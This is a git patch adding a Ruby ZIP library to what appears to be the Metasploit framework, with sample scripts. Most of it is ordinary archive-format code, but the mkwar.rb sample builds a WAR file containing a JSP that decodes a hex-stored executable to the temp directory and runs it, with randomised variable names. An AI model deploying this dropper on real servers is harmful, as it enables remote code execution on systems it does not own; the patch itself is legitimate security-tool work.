From 2c100083bf9743e507da8e3d916dc0d2a3c34810 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Wed, 10 Feb 2010 17:27:40 +0000 Subject: [PATCH] add a zip implementation, Rex::Zip, see lib/rex/zip/samples for more info git-svn-id: file:///home/svn/framework3/trunk@8439 4d416f70-5f16-0410-b530-b9f4589650da --- lib/rex/zip.rb | 93 ++++++++++++++++ lib/rex/zip/archive.rb | 91 ++++++++++++++++ lib/rex/zip/blocks.rb | 182 +++++++++++++++++++++++++++++++ lib/rex/zip/entry.rb | 89 +++++++++++++++ lib/rex/zip/samples/comment.rb | 25 +++++ lib/rex/zip/samples/mkwar.rb | 130 ++++++++++++++++++++++ lib/rex/zip/samples/mkzip.rb | 12 ++ lib/rex/zip/samples/recursive.rb | 51 +++++++++ 8 files changed, 673 insertions(+) create mode 100644 lib/rex/zip.rb create mode 100644 lib/rex/zip/archive.rb create mode 100644 lib/rex/zip/blocks.rb create mode 100644 lib/rex/zip/entry.rb create mode 100755 lib/rex/zip/samples/comment.rb create mode 100755 lib/rex/zip/samples/mkwar.rb create mode 100755 lib/rex/zip/samples/mkzip.rb create mode 100755 lib/rex/zip/samples/recursive.rb diff --git a/lib/rex/zip.rb b/lib/rex/zip.rb new file mode 100644 index 0000000000..daa48ff947 --- /dev/null +++ b/lib/rex/zip.rb @@ -0,0 +1,93 @@ +#!/usr/bin/env ruby +# +# Zip library +# +# Written by Joshua J. Drake +# +# Based on code contributed by bannedit, and the following SPEC: +# Reference: http://www.pkware.com/documents/casestudies/APPNOTE.TXT +# + +require 'zlib' + +module Rex +module Zip + +ZIP_VERSION = 0x14 + +# general purpose bit flag values +# +# bit 0 +GPBF_ENCRYPTED = 0x0001 +# bits 1 & 2 +# implode only +GPBF_IMP_8KDICT = 0x0002 +GPBF_IMP_3SFT = 0x0004 +# deflate only +GPBF_DEF_MAX = 0x0002 +GPBF_DEF_FAST = 0x0004 +GPBF_DEF_SUPERFAST = 0x0006 +# lzma only +GPBF_LZMA_EOSUSED = 0x0002 +# bit 3 +GPBF_USE_DATADESC = 0x0008 +# bit 4 +GPBF_DEF_ENHANCED = 0x0010 +# bit 5 +GPBF_COMP_PATHCED = 0x0020 +# bit 6 +GPBF_STRONG_ENC = 0x0040 +# bit 7-10 unused +# bit 11 +GPBF_STRS_UTF8 = 0x0800 +# bit 12 (reserved) +# bit 13 +GPBF_DIR_ENCRYPTED = 0x2000 +# bit 14,15 (reserved) + + +# compression methods +CM_STORE = 0 +CM_SHRINK = 1 +CM_REDUCE1 = 2 +CM_REDUCE2 = 3 +CM_REDUCE3 = 4 +CM_REDUCE4 = 5 +CM_IMPLODE = 6 +CM_TOKENIZE = 7 +CM_DEFLATE = 8 +CM_DEFLATE64 = 9 +CM_PKWARE_IMPLODE = 10 +# 11 - reserved +CM_BZIP2 = 12 +# 13 - reserved +CM_LZMA_EFS = 14 +# 15-17 reserved +CM_IBM_TERSE = 18 +CM_IBM_LZ77 = 19 +# 20-96 reserved +CM_WAVPACK = 97 +CM_PPMD_V1R1 = 98 + + +# internal file attributes +IFA_ASCII = 0x0001 +# bits 2 & 3 are reserved +IFA_MAINFRAME_MODE = 0x0002 # ?? + + +# external file attributes +EFA_ISDIR = 0x0001 + + +# various parts of the structure +require 'rex/zip/blocks' + +# an entry in a zip file +require 'rex/zip/entry' + +# the archive class +require 'rex/zip/archive' + +end +end diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb new file mode 100644 index 0000000000..6c224138a1 --- /dev/null +++ b/lib/rex/zip/archive.rb @@ -0,0 +1,91 @@ +## +# $Id$ +## + +module Rex +module Zip + +# +# This represents an entire archive. +# +class Archive + + def initialize(compmeth=CM_DEFLATE) + @compmeth = compmeth + @entries = [] + end + + + def add_file(fname, fdata=nil, xtra=nil, comment=nil) + if (not fdata) + begin + st = File.stat(fname) + rescue + return nil + end + + ts = st.mtime + if (st.directory?) + attrs = EFA_ISDIR + fname += '/' + else + f = File.open(fname, 'rb') + fdata = f.read(f.stat.size) + f.close + end + end + + @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment) + end + + + def set_comment(comment) + @comment = comment + end + + + def save_to(fname) + f = File.open(fname, 'wb') + f.write(pack) + f.close + end + + + def pack + ret = '' + + # save the offests + offsets = [] + + # file 1 .. file n + @entries.each { |ent| + offsets << ret.length + ret << ent.pack + } + + # archive decryption header (unsupported) + # archive extra data record (unsupported) + + # central directory + cfd_offset = ret.length + idx = 0 + @entries.each { |ent| + cfd = CentralDir.new(ent, offsets[idx]) + ret << cfd.pack + idx += 1 + } + + # zip64 end of central dir record (unsupported) + # zip64 end of central dir locator (unsupported) + + # end of central directory record + cur_offset = ret.length - cfd_offset + ret << CentralDirEnd.new(@entries.length, cur_offset, cfd_offset, @comment).pack + + ret + end + +end + +end +end diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb new file mode 100644 index 0000000000..c35592f86e --- /dev/null +++ b/lib/rex/zip/blocks.rb @@ -0,0 +1,182 @@ +## +# $Id$ +## + +module Rex +module Zip + + +# +# This structure holds the following data pertaining to a Zip entry's data. +# +# data crc +# compressed size +# uncompressed size +# +class CompInfo + + def initialize(crc, compsz, uncompsz) + @crc, @compsz, @uncompsz = crc, compsz, uncompsz + end + + def pack + [ @crc, @compsz, @uncompsz ].pack('VVV') + end + +end + + +# +# This structure holds the following data pertaining to a Zip entry. +# +# general purpose bit flag +# compression method +# modification time +# modification date +# +class CompFlags + + attr_accessor :compmeth + + def initialize(gpbf, compmeth, timestamp) + @gpbf = gpbf + @compmeth = compmeth + @mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec)) + @mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day)) + end + + def pack + [ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv') + end + +end + + + +# +# This structure is sometimes stored after the file data and used +# instead of the fields within the Local File Header. +# +class DataDesc + + SIGNATURE = 0x8074b50 + + def initialize(compinfo) + @compinfo = compinfo + end + + def pack + ret = [ SIGNATURE ].pack('V') + ret << @compinfo.pack + ret + end + +end + + +# +# This structure records the compression data and flags about +# a Zip entry to a file. +# +class LocalFileHdr + + SIGNATURE = 0x4034b50 + + def initialize(entry) + @entry = entry + end + + def pack + path = @entry.relative_path + + ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv') + ret << @entry.flags.pack + ret << @entry.info.pack + ret << [ path.length, @entry.xtra.length ].pack('vv') + ret << path + ret << @entry.xtra + ret + end + +end + + +# +# This structure holds all of the information about a particular Zip Entry +# as it is contained within the central directory. +# +class CentralDir + + SIGNATURE = 0x2014b50 + + def initialize(entry, offset) + @entry = entry + @disknum_start = 0 + @attr_int = 0 + @attr_ext = 0x20 + @hdr_offset = offset + end + + def pack + path = @entry.relative_path + + ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv') + ret << [ ZIP_VERSION ].pack('v') + ret << @entry.flags.pack + ret << @entry.info.pack + arr = [] + arr << path.length + arr << @entry.xtra.length + arr << @entry.comment.length + arr << @disknum_start + arr << @attr_int + arr << @entry.attrs + arr << @hdr_offset + ret << arr.pack('vvvvvVV') + ret << path + ret << @entry.xtra + ret << @entry.comment + # digital signature not supported + ret + end + +end + + +# +# This structure is written after the per-entry central directory records to +# provide information about the archive as a whole. +# +class CentralDirEnd + + SIGNATURE = 0x6054b50 + + def initialize(ncfd, cfdsz, offset, comment=nil) + @disk_no = 0 + @disk_dir_start = 0 + @ncfd_this_disk = ncfd + @ncfd_total = ncfd + @cfd_size = cfdsz + @start_offset = offset + @comment = comment + @comment ||= '' + end + + + def pack + arr = [] + arr << SIGNATURE + arr << @disk_no + arr << @disk_dir_start + arr << @ncfd_this_disk + arr << @ncfd_total + arr << @cfd_size + arr << @start_offset + arr << @comment.length + (arr.pack('VvvvvVVv') + @comment) + end + +end + +end +end \ No newline at end of file diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb new file mode 100644 index 0000000000..a668f74b95 --- /dev/null +++ b/lib/rex/zip/entry.rb @@ -0,0 +1,89 @@ +## +# $Id$ +## + +module Rex +module Zip + +class Entry + + attr_accessor :name, :flags, :info, :xtra, :comment, :attrs + + def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil) + @name = fname + @data = data + @xtra = xtra + @xtra ||= '' + @comment = comment + @comment ||= '' + @attrs = attrs + @attrs ||= 0 + + # XXX: sanitize timestmap (assume now) + timestamp ||= Time.now + @flags = CompFlags.new(0, compmeth, timestamp) + + if (@data) + compress + else + @data = '' + @info = CompInfo.new(0, 0, 0) + end + @compdata ||= '' + end + + + def compress + @crc = Zlib.crc32(@data, 0) + case @flags.compmeth + + when CM_STORE + @compdata = @data + + when CM_DEFLATE + z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION) + @compdata = z.deflate(@data, Zlib::FINISH) + z.close + @compdata = @compdata.slice!(2, @compdata.length-4) + + else + raise 'Unsupported compression method: %u' % @flags.compmeth + end + + @info = CompInfo.new(@crc, @compdata.length, @data.length) + end + + + def relative_path + if (@name[0,1] == '/') + return @name[1,@name.length] + end + @name + end + + + def pack + ret = '' + + # - lfh 1 + lfh = LocalFileHdr.new(self) + ret << lfh.pack + + # - data 1 + if (@compdata) + ret << @compdata + end + + if (@gpbf & GPBF_USE_DATADESC) + # - data desc 1 + dd = DataDesc.new(@info) + ret << dd.pack + end + + ret + end + +end + +end +end diff --git a/lib/rex/zip/samples/comment.rb b/lib/rex/zip/samples/comment.rb new file mode 100755 index 0000000000..f0e4a30b8b --- /dev/null +++ b/lib/rex/zip/samples/comment.rb @@ -0,0 +1,25 @@ +#!/usr/bin/env ruby + +# +# Create a zip file with comments! +# + +require 'zip' + +# example usage +zip = Zip::Archive.new +zip.add_file("elite.txt", "A" * 1024, nil, %Q< + +---------------+ + | file comment! | + +---------------+ +>) +zip.set_comment(%Q< + ++------------------------------------------+ +| | +| Hello! This is the Zip Archive comment! | +| | ++------------------------------------------+ + +>) +zip.save_to("lolz.zip") diff --git a/lib/rex/zip/samples/mkwar.rb b/lib/rex/zip/samples/mkwar.rb new file mode 100755 index 0000000000..a953202bca --- /dev/null +++ b/lib/rex/zip/samples/mkwar.rb @@ -0,0 +1,130 @@ +#!/usr/bin/env ruby + +# +# Create a WAR archive! +# + +require 'zip' + + +def rand_text_alpha(len) + buff = "" + + foo = [] + foo += ('A' .. 'Z').to_a + foo += ('a' .. 'z').to_a + + # Generate a buffer from the remaining bytes + if foo.length >= 256 + len.times { buff << Kernel.rand(256) } + else + len.times { buff << foo[ rand(foo.length) ] } + end + + return buff +end + + +exe = "exe " * 1024 +var_payload = "var_payload" +var_name = "var_name" + + +zip = Zip::Archive.new + +# begin meta-inf/ +minf = [ 0xcafe, 0x0003 ].pack('Vv') +zip.add_file('META-INF/', nil, minf) +# end meta-inf/ + +# begin meta-inf/manifest.mf +mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" +zip.add_file('META-INF/MANIFEST.MF', mfraw) +# end meta-inf/manifest.mf + +# begin web-inf/ +zip.add_file('WEB-INF/', '') +# end web-inf/ + +# begin web-inf/web.xml +webxmlraw = %q{ + + +NAME +/PAYLOAD.jsp + + +} + +webxmlraw.gsub!(/NAME/, var_name) +webxmlraw.gsub!(/PAYLOAD/, var_payload) + +zip.add_file('WEB-INF/web.xml', webxmlraw) +# end web-inf/web.xml + +# begin .jsp +var_hexpath = rand_text_alpha(rand(8)+8) +var_exepath = rand_text_alpha(rand(8)+8) +var_data = rand_text_alpha(rand(8)+8) +var_inputstream = rand_text_alpha(rand(8)+8) +var_outputstream = rand_text_alpha(rand(8)+8) +var_numbytes = rand_text_alpha(rand(8)+8) +var_bytearray = rand_text_alpha(rand(8)+8) +var_bytes = rand_text_alpha(rand(8)+8) +var_counter = rand_text_alpha(rand(8)+8) +var_char1 = rand_text_alpha(rand(8)+8) +var_char2 = rand_text_alpha(rand(8)+8) +var_comb = rand_text_alpha(rand(8)+8) +var_exe = rand_text_alpha(rand(8)+8) +var_hexfile = rand_text_alpha(rand(8)+8) +var_proc = rand_text_alpha(rand(8)+8) + +jspraw = "<%@ page import=\"java.io.*\" %>\n" +jspraw << "<%\n" +jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n" +jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" +jspraw << "String #{var_data} = \"\";\n" + +jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" +jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" +jspraw << "}\n" + +jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" +jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" + +jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" +jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" +jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" +jspraw << "#{var_inputstream}.close();\n" + +jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" +jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" +jspraw << "{\n" +jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" +jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" +jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" +jspraw << "#{var_comb} <<= 4;\n" +jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" +jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" +jspraw << "}\n" + +jspraw << "#{var_outputstream}.write(#{var_bytes});\n" +jspraw << "#{var_outputstream}.close();\n" + +jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" +jspraw << "%>\n" + +zip.add_file("#{var_payload}.jsp", jspraw) +# end .jsp + +# begin .txt +payloadraw = exe.unpack('H*')[0] +zip.add_file("#{var_hexfile}.txt", payloadraw) +# end .txt + + +zip.save_to("test.war") diff --git a/lib/rex/zip/samples/mkzip.rb b/lib/rex/zip/samples/mkzip.rb new file mode 100755 index 0000000000..f929f716f4 --- /dev/null +++ b/lib/rex/zip/samples/mkzip.rb @@ -0,0 +1,12 @@ +#!/usr/bin/env ruby + +# +# Add a file from memory and save it. +# + +require 'zip' + +# example usage +zip = Zip::Archive.new +zip.add_file("elite.txt", "A" * 1024) +zip.save_to("lolz.zip") diff --git a/lib/rex/zip/samples/recursive.rb b/lib/rex/zip/samples/recursive.rb new file mode 100755 index 0000000000..cf5ffd190c --- /dev/null +++ b/lib/rex/zip/samples/recursive.rb @@ -0,0 +1,51 @@ +#!/usr/bin/env ruby + +require 'zip' + +out = "test.zip" +dir = "/var/www" + + +def add_file(zip, path) + zip.add_file(path) +end + + +# +# If it's a directory, Walk the directory and add each item +# +def add_files(zip, path, recursive = nil) + + if (not add_file(zip, path)) + return nil + end + + if (recursive and File.stat(path).directory?) + begin + dir = Dir.open(path) + rescue + # skip this file + return nil + end + + dir.each { |f| + next if (f == '.') + next if (f == '..') + + full_path = path + '/' + f + st = File.stat(full_path) + if (st.directory?) + puts "adding dir #{full_path}" + add_files(zip, full_path, recursive) + elsif (st.file?) + puts "adding file #{full_path}" + add_file(zip, full_path) + end + } + end +end + + +zip = Zip::Archive.new +add_files(zip, dir, TRUE) +zip.save_to(out)